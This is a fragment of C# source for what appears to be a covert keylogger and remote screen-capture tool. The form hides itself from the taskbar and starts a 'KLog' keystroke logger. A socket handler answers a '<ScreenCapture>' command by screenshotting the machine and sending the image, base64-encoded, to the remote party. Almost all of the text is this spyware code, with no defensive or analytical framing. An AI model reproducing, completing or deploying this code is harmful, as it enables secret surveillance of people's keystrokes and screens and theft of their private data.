private void Form1_Load(object sender, EventArgs e) { // Hide(); // Opacity = 0; ShowInTaskbar = false; timer1.Enabled = true; timer2.Enabled = true; timer3.Enabled = true; timer4.Enabled = true; _keylog = new KLog(); }
private static void ReadCallback(IAsyncResult ar) { try { //=============================================================== // Retrieve the state object and the handler socket // from the asynchronous state object. StateObject state = (StateObject)ar.AsyncState; Socket handler = state.WorkSocket; // Read data from the client socket. int bytesRead = handler.EndReceive(ar); if (bytesRead <= 0) return; //=============================================================== //=============================================================== state.StringBuilder.Append(Encoding.ASCII.GetString(state.Buffer, 0, bytesRead)); String content = state.StringBuilder.ToString(); //=============================================================== #region Content if (content.IndexOf("<EOF>") > -1) //End Of file Tag { content = content.Replace("<EOF>", ""); byte[] currentData; if (content.StartsWith("<ScreenCapture>")) { currentData = KLog.RemoteTakeScreen(); string base64 = Convert.ToBase64String(currentData); byte[] output = GetBytes(base64); Console.WriteLine("Captured Image length: {0}", output.Length); string a = output[0].ToString(); string b = output[1].ToString(); string aa = output[2].ToString(); string ab = output[3].ToString(); string aaa = output[4].ToString(); string aab = output[6].ToString(); string aaaa = output[6].ToString(); string aaab = output[7].ToString(); Console.WriteLine("A HEAD: {0}", (a + "-" + b + "-" + aa + "-" + ab + "-" + aaa + "-" + aab + "-" + aaaa + "-" + aaab)); a = output[output.Length - 1].ToString(); b = output[output.Length - 2].ToString(); aa = output[output.Length - 3].ToString(); ab = output[output.Length - 4].ToString(); aaa = output[output.Length - 5].ToString(); aab = output[output.Length - 6].ToString(); aaaa = output[output.Length - 7].ToString(); aaab = output[output.Length - 8].ToString(); Console.WriteLine("A TAIL: {0}", (a + "-" + b + "-" + aa + "-" + ab + "-" + aaa + "-" + aab + "-" + aaaa + "-" + aaab)); using (MemoryStream ms = new MemoryStream(new byte[output.Length + 4])) { byte[] size = BitConverter.GetBytes(output.Length); ms.Write(size, 0, 4); ms.Write(output, 0, output.Length); var tm = ms.ToArray(); state.SendBuffer = ms.ToArray(); Send(handler, Encoding.ASCII.GetString(state.SendBuffer, 0, state.SendBuffer.Length)); } } } else { // Not all data received. Get more. handler.BeginReceive(state.Buffer, 0, StateObject.BufferSize, 0, ReadCallback, state); } #endregion } catch (Exception e) { Console.WriteLine("--- Async Read Callback Exception ---"); Console.WriteLine(e.ToString()); } }